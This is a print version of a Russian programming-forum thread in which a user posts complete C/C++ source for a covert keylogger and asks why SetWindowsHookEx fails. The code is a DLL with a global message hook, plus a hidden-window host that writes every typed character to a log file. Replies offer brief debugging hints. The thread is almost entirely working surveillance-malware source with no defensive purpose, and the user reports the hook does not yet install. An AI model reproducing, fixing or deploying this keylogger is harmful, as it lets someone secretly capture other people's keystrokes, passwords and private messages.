Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Системное программирование и WinAPI > dll и SetWindowsHookEx


Автор: Dalt 21.1.2011, 11:27
среда devc++
Код

//mklog_dll.cpp
#include "dll.h" 
 
LRESULT CALLBACK HookProc(int,WPARAM,LPARAM);
HINSTANCE hInstance = NULL;

#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; 
 
UINT KBoardMessage = 0; //NULL; 

HWND hParentWnd = NULL;
#pragma data_seg( )
 
#pragma comment(linker,"/SECTION:.SData,RWS")
 

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, 
                                     LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
 
return TRUE;
}

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
MSG * msg = (MSG * )lParam; 

 
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
 
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 ); }

return CallNextHookEx (hMsgHook, nCode ,wParam , lParam); 
 
}

MYHOOKDLL_API int SetHook(HWND hWnd, UINT UpdateMsg)
{
if (hWnd==NULL) MessageBox(NULL,"Хендл главного окна передать не удалось",
                                            "Message",MB_OK);
 
 
hParentWnd=hWnd;
KBoardMessage=UpdateMsg;

hMsgHook= SetWindowsHookEx(WH_GETMESSAGE,
HookProc, 
hInstance,
0);//NULL

if (hMsgHook!=NULL) {
MessageBox(NULL,"Хук установить удалось","Message",MB_OK);
}
else
{
MessageBox(NULL,"Хук установить не удалось","Message",MB_OK);
}
 

 
 
 
return 0;
 
}
 
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
 
MessageBox(NULL,"Хук уален","Message",MB_OK); 
 
return 0;
 
}

..............................................................................................................................................
//dll.h
#define MYHOOKDLL_API __declspec(dllexport)
 
#include <windows.h>//Подгрузка библиотек с функциями WINAPI.
 
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT ); //Будущая функция установки хука
MYHOOKDLL_API int UnSetHook();//Соответственно функция удаления хука.
}

..............................................................................................................................................
//mklog.cpp
#include <windows.h>
#include <stdio.h>
 
LRESULT CALLBACK DCDemoWndProc (HWND, UINT, UINT, LONG);
 
#define WM_HOOKMESSAGE WM_USER+1
 
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
 
HINSTANCE hDllInst;
HWND hWnd;
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdParam, int nCmdShow)
{
WNDCLASS WndClass;
MSG Msg;
char szClassName[]="DCDemo";
 
//
WndClass.style=CS_HREDRAW|CS_VREDRAW;
WndClass.lpfnWndProc=DCDemoWndProc;
WndClass.cbClsExtra=0;
WndClass.cbWndExtra=0;
WndClass.hInstance=hInstance;
WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
WndClass.hCursor=LoadCursor(NULL,IDC_ARROW);
WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
WndClass.lpszMenuName="MyMenu";
WndClass.lpszClassName=szClassName;
 
if (!RegisterClass(&WndClass))
{
MessageBox(NULL,"Cannot register class","Error",MB_OK);
return 0;
}
hWnd=CreateWindow(szClassName, "Программа 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,
NULL);

ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
 
hDllInst = LoadLibrary((LPCTSTR) "1.dll");
 
if (!hDllInst)
{
MessageBox(NULL,"DLL DO NOT LOAD","Message",MB_OK);
}
else
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
 
}
SetHook(hWnd,WM_HOOKMESSAGE);
 

while(GetMessage(&Msg,NULL,0,0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
}
 
LRESULT CALLBACK DCDemoWndProc(HWND hWnd, UINT Message, UINT wParam, LONG lParam)
{
 
 
FILE *f= fopen("a.log","a");
 
switch(Message)
{
 
case WM_DESTROY:
PostQuitMessage(0);
UnSetHook();
if (hDllInst) FreeLibrary(hDllInst);
return 0;
 
case WM_HOOKMESSAGE:
switch(wParam)
{

case 0x08: fprintf(f,"");break;
case 0x0D: fprintf(f,"\n");break;

case 0x1B:
fclose(f);
UnSetHook();
PostQuitMessage(0);
if (hDllInst) FreeLibrary(hDllInst);break;
return 0;
case 0x10: fprintf(f,"Shift");break;
case 0x09: fprintf(f,"Tab");break;
case 0x20: fprintf(f,"_");break;
 
default:
fprintf(f,"%c",wParam); 
}
break;
 
}
return DefWindowProc(hWnd,Message,wParam,lParam);
}

 
Неудается установить хук(  Почему SetWindowsHookEx возвращает 0?

Автор: bass 23.1.2011, 19:33
Под админом?????

Автор: Dalt 23.1.2011, 21:16
Ну да. Дело как мне кажется в том что исходный код написан на VC++ а я пытаюсь его скомпилировать на Dev

Автор: xvr 24.1.2011, 15:25
Цитата(Dalt @  21.1.2011,  11:27 Найти цитируемый пост)
Почему SetWindowsHookEx возвращает 0?
Интереснее что возвращает GetLastError()?


Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)